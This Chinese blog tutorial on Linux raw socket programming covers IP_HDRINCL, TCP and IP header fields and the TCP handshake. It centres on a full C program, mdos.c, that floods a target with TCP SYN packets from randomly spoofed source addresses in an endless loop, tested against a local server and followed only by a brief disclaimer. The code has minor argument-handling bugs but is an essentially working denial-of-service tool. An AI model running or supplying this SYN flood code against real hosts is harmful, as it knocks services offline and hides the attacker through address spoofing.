Linux网络编程：原始套接字的魔力【上】

亦凉 2022-08-07 12:50 179阅读 0赞

基于原始套接字编程

在开发面向连接的TCP和面向无连接的UDP程序时，我们所关心的核心问题在于数据收发层面，数据的传输特性由TCP或UDP来保证：

[![23069658_13427133838Oc8.jpg][]][23069658_13427133838Oc8.jpg]

也就是说，对于TCP或UDP的程序开发，焦点在Data字段，我们没法直接对TCP或UDP头部字段进行赤裸裸的修改，当然还有IP头。换句话说，我们对它们头部操作的空间非常受限，只能使用它们已经开放给我们的诸如源、目的IP，源、目的端口等等。

今天我们讨论一下原始套接字的程序开发，用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说，进入正题。

原始套接字的创建方法也不难：socket(AF\_INET, SOCK\_RAW, **protocol**)。

重点在protocol字段，这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值，注意：有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。

[![23069658_1342713395SovI.jpg][]][23069658_1342713395SovI.jpg]

我们常见的有IPPROTO\_TCP，IPPROTO\_UDP和IPPROTO\_ICMP，在博文“[(十六)洞悉linux下的Netfilter&iptables：开发自己的hook函数【实战】(下)][linux_Netfilter_iptables_hook]”中我们见到该protocol字段为IPPROTO\_RAW时的情形，后面我们会详细介绍。

用这种方式我就可以得到原始的IP包了，然后就可以自定义IP所承载的具体协议类型，如TCP，UDP或ICMP，并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码，以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。

先简单复习一下TCP报文的格式，因为我们本身不是讲协议的设计思想，所以只会提及和我们接下来主题相关的字段，如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。

[![23069658_1342713558R24N.jpg][]][23069658_1342713558R24N.jpg]

我们目前主要关注上面着色部分的字段就OK了，接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是：

(1) 第一次握手：建立连接时，客户端A发送SYN包(SEQ\_NUMBER=j)到服务器B，并进入SYN\_SEND状态，等待服务器B确认。

(2) 第二次握手：服务器B收到SYN包，必须确认客户A的SYN(ACK\_NUMBER=j+1)，同时自己也发送一个SYN包(SEQ\_NUMBER=k)，即SYN+ACK包，此时服务器B进入SYN\_RECV状态。

(3) 第三次握手：客户端A收到服务器B的SYN＋ACK包，向服务器B发送确认包ACK(ACK\_NUMBER=k+1)，此包发送完毕，客户端A和服务器B进入ESTABLISHED状态，完成三次握手。

至此3次握手结束，TCP通路就建立起来了，然后客户端与服务器开始交互数据。上面描述过程中，SYN包表示TCP数据包的标志位syn=1，同理，ACK表示TCP报文中标志位ack=1，SYN+ACK表示标志位syn=1和ack=1同时成立。

原始套接字还提供了一个非常有用的参数IP\_HDRINCL：

1、当开启该参数时：我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项，但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的，不需要我们关心。

2、如果不开启该参数：我们所构造的报文是从IP首部之后的第一个字节开始，IP首部由内核自己维护，首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

开启IP\_HDRINCL特性的模板代码一般为：

constint on =1;

if(setsockopt (sockfd, IPPROTO\_IP, IP\_HDRINCL, &on, sizeof(on)) < 0)\{

printf("setsockopt error!\\n");

所以，我们还得复习一下IP报文的首部格式：

[![23069658_1342713564cE9N.jpg][]][23069658_1342713564cE9N.jpg]

同样，我们重点关注IP首部中的着色部分区段的填充情况。

有了上面的知识做铺垫，接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧：

点击(此处)折叠或打开

1.  //mdos.c  
    
2.  \#include  <stdlib.h>  
    
3.  \#include  <stdio.h>  
    
4.  \#include  <errno.h>  
    
5.  \#include  <string.h>  
    
6.  \#include  <unistd.h>  
    
7.  \#include  <netdb.h>  
    
8.  \#include  <sys/socket.h>  
    
9.  \#include  <sys/types.h>  
    
10. \#include  <netinet/in.h>  
    
11. \#include  <netinet/ip.h>  
    
12. \#include  <arpa/inet.h>  
    
13. \#include  <linux/tcp.h>  
    
14.   
    
15. //我们自己写的攻击函数  
    
16. void attack(int skfd,struct sockaddr\_in \*target,unsigned short srcport);  
    
17. //如果什么都让内核做，那岂不是忒不爽了，咱也试着计算一下校验和。  
    
18. unsigned short check\_sum(unsigned short \*addr,int len);  
    
19.   
    
20. int main(int argc,char\*\* argv)\{   
    
21. int skfd;  
    
22.  struct sockaddr\_in target;  
    
23.  struct hostent  \*host;  
    
24. const int on=1;  
    
25.  unsigned short srcport;  
    
26.   
    
27. if(argc!=2)  
    
28. \{   
    
29.  printf("Usage:%s target dstport srcport\\n",argv\[0\]);  
    
30. exit(1);  
    
31. \}  
    
32.   
    
33.  bzero(&target,sizeof(struct sockaddr\_in));  
    
34.  target.sin\_family=AF\_INET;  
    
35.  target.sin\_port=htons(atoi(argv\[2\]));  
    
36.   
    
37. if(inet\_aton(argv\[1\],&target.sin\_addr)==0)  
    
38. \{   
    
39.  host=gethostbyname(argv\[1\]);  
    
40. if(host==NULL)  
    
41. \{   
    
42.  printf("TargetName Error:%s\\n",hstrerror(h\_errno));  
    
43. exit(1);  
    
44. \}  
    
45.  target.sin\_addr=\*(struct in\_addr \*)(host\->h\_addr\_list\[0\]);  
    
46. \}  
    
47.   
    
48. //将协议字段置为IPPROTO\_TCP，来创建一个TCP的原始套接字  
    
49. if(0>(skfd=socket(AF\_INET,SOCK\_RAW,IPPROTO\_TCP)))\{   
    
50.  perror("Create Error");  
    
51. exit(1);  
    
52. \}  
    
53.   
    
54. //用模板代码来开启IP\_HDRINCL特性，我们完全自己手动构造IP报文  
    
55. if(0>setsockopt(skfd,IPPROTO\_IP,IP\_HDRINCL,&on,sizeof(on)))\{   
    
56.  perror("IP\_HDRINCL failed");  
    
57. exit(1);  
    
58. \}  
    
59.   
    
60. //因为只有root用户才可以play with raw socket :)  
    
61.  setuid(getpid());  
    
62.  srcport  = atoi(argv\[3\]);  
    
63.  attack(skfd,&target,srcport);  
    
64. \}  
    
65.   
    
66. //在该函数中构造整个IP报文，最后调用sendto函数将报文发送出去  
    
67. void attack(int skfd,struct sockaddr\_in \*target,unsigned short srcport)\{   
    
68.  char buf\[128\]=\{ 0\};  
    
69.  struct ip  \*ip;  
    
70.  struct tcphdr  \*tcp;  
    
71. int ip\_len;  
    
72.   
    
73. //在我们TCP的报文中Data没有字段，所以整个IP报文的长度  
    
74.  ip\_len  = sizeof(struct ip)\+sizeof(struct tcphdr);  
    
75. //开始填充IP首部  
    
76.  ip=(struct ip\*)buf;  
    
77.   
    
78.  ip\->ip\_v = IPVERSION;  
    
79.  ip\->ip\_hl = sizeof(struct ip)>>2;  
    
80.  ip\->ip\_tos = 0;  
    
81.  ip\->ip\_len = htons(ip\_len);  
    
82.  ip\->ip\_id=0;  
    
83.  ip\->ip\_off=0;  
    
84.  ip\->ip\_ttl=MAXTTL;  
    
85.  ip\->ip\_p=IPPROTO\_TCP;  
    
86.  ip\->ip\_sum=0;  
    
87.  ip\->ip\_dst=target\->sin\_addr;  
    
88.   
    
89. //开始填充TCP首部  
    
90.  tcp  = (struct tcphdr\*)(buf\+sizeof(struct ip));  
    
91.  tcp\->source = htons(srcport);  
    
92.  tcp\->dest = target\->sin\_port;  
    
93.  tcp\->seq = random();  
    
94.  tcp\->doff = 5;  
    
95.  tcp\->syn = 1;  
    
96.  tcp\->check = 0;  
    
97.   
    
98. while(1)\{   
    
99. //源地址伪造，我们随便任意生成个地址，让服务器一直等待下去  
    
100.  ip\->ip\_src.s\_addr = random();  
    
101.  tcp\->check=check\_sum((unsigned short\*)tcp,sizeof(struct tcphdr));  
    
102.  sendto(skfd,buf,ip\_len,0,(struct sockaddr\*)target,sizeof(struct sockaddr\_in));  
    
103. \}  
    
104. \}  
    
105.   
    
106. //关于CRC校验和的计算，网上一大堆，我就“拿来主义”了  
    
107. unsigned short check\_sum(unsigned short \*addr,int len)\{   
    
108.  register  int nleft=len;  
    
109.  register  int sum=0;  
    
110.  register short  \*w=addr;  
    
111.  short answer=0;  
    
112.   
    
113. while(nleft>1)  
    
114. \{   
    
115.  sum\+=\*w\+\+;  
    
116.  nleft\-=2;  
    
117. \}  
    
118. if(nleft==1)  
    
119. \{   
    
120. \*(unsigned char \*)(&answer)=\*(unsigned char \*)w;  
    
121.  sum\+=answer;  
    
122. \}  
    
123.   
    
124.  sum=(sum>>16)\+(sum&0xffff);  
    
125.  sum\+=(sum>>16);  
    
126.  answer=~sum;  
    
127.  return(answer);  
    
128. \}

用前面我们自己编写TCP服务器端程序来做本地测试，看看效果。先把服务器端程序启动起来，如下：

[![23069658_1342713399Z08s.jpg][]][23069658_1342713399Z08s.jpg]

然后，我们编写的“捣蛋”程序登场了：

[![23069658_13427134028Hsp.jpg][]][23069658_13427134028Hsp.jpg]

该“mdos”命令执行一段时间后，服务器端的输出如下：

[![23069658_1342713413xAD8.jpg][]][23069658_1342713413xAD8.jpg]

因为我们的源IP地址是随机生成的，源端口固定为8888，服务器端收到我们的SYN报文后，会为其分配一条连接资源，并将该连接的状态置为SYN\_RECV，然后给客户端回送一个确认，并要求客户端再次确认，可我们却不再bird别个了，这样就会造成服务端一直等待直到超时。

备注：本程序仅供交流分享使用，不要做恶，不然后果自负哦。

最后补充一点，看到很多新手经常对struct ip\{\}和struct iphdr\{\}，struct icmp\{\}和struct icmphdr\{\}纠结来纠结去了，不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义，头文件中对这些结构也做了很明确的说明，这里我们简单总结一下：

structip\{\}、struct icmp\{\}是供BSD系统层使用，struct iphdr\{\}和struct icmphdr\{\}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了，参见tcp.h和udp.h。

BSD和INET的解释在协议栈篇章详细论述，这里大家可以简单这样来理解：我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢？良好的编程习惯当然是BSD层推荐我们使用的，struct ip\{\}、struct icmp\{\}。至于INET层的两个同类型的结构体struct iphdr\{\}和struct icmphdr\{\}能用不？我只能说不建议。看个例子：

[![23069658_1342713418VeSs.jpg][]][23069658_1342713418VeSs.jpg]

我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的，ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节，那么BSD层为什么是28字节呢？留给大家思考。也就是说，我们这个mdos.c的实例程序中除了用struct ip\{\}之外还可以用INET层的struct iphdr\{\}结构。将如下代码：

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1.  struct ip  \*ip;  
    
2.  …  
    
3.  ip=(struct ip\*)buf;  
    
4.  ip\->ip\_v = IPVERSION;  
    
5.  ip\->ip\_hl = sizeof(struct ip)>>2;  
    
6.  ip\->ip\_tos = 0;  
    
7.  ip\->ip\_len = htons(ip\_len);  
    
8.  ip\->ip\_id=0;  
    
9.  ip\->ip\_off=0;  
    
10. ip\->ip\_ttl=MAXTTL;  
    
11. ip\->ip\_p=IPPROTO\_TCP;  
    
12. ip\->ip\_sum=0;  
    
13. ip\->ip\_dst=target\->sin\_addr;  
    
14. …  
    
15. ip\->ip\_src.s\_addr = random();

改成：

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1.  struct iphdr  \*ip;  
    
2.  …  
    
3.  ip=(struct iphdr\*)buf;  
    
4.  ip\->version = IPVERSION;  
    
5.  ip\->ihl = sizeof(struct ip)>>2;  
    
6.  ip\->tos = 0;  
    
7.  ip\->tot\_len = htons(ip\_len);  
    
8.  ip\->id=0;  
    
9.  ip\->frag\_off=0;  
    
10. ip\->ttl=MAXTTL;  
    
11. ip\->protocol=IPPROTO\_TCP;  
    
12. ip\->check=0;  
    
13. ip\->daddr=target\->sin\_addr.s\_addr;  
    
14. …  
    
15. ip\->saddr = random();

结果请童鞋们自己验证。虽然结果一样，但在BSD层直接使用INET层的数据结构还是不被推荐的。

小结：

1、IP\_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。

2、只有超级用户才能创建原始套接字。

3、原始套接字上也可以调用connet、bind之类的函数，但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。

[23069658_13427133838Oc8.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_13427133838Oc8.jpg
[23069658_1342713395SovI.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713395SovI.jpg
[linux_Netfilter_iptables_hook]: http://blog.chinaunix.net/uid-23069658-id-3245853.html
[23069658_1342713558R24N.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713558R24N.jpg
[23069658_1342713564cE9N.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713564cE9N.jpg
[23069658_1342713399Z08s.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713399Z08s.jpg
[23069658_13427134028Hsp.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_13427134028Hsp.jpg
[23069658_1342713413xAD8.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713413xAD8.jpg
[23069658_1342713418VeSs.jpg]: http://blog.chinaunix.net/attachment/201207/19/23069658_1342713418VeSs.jpg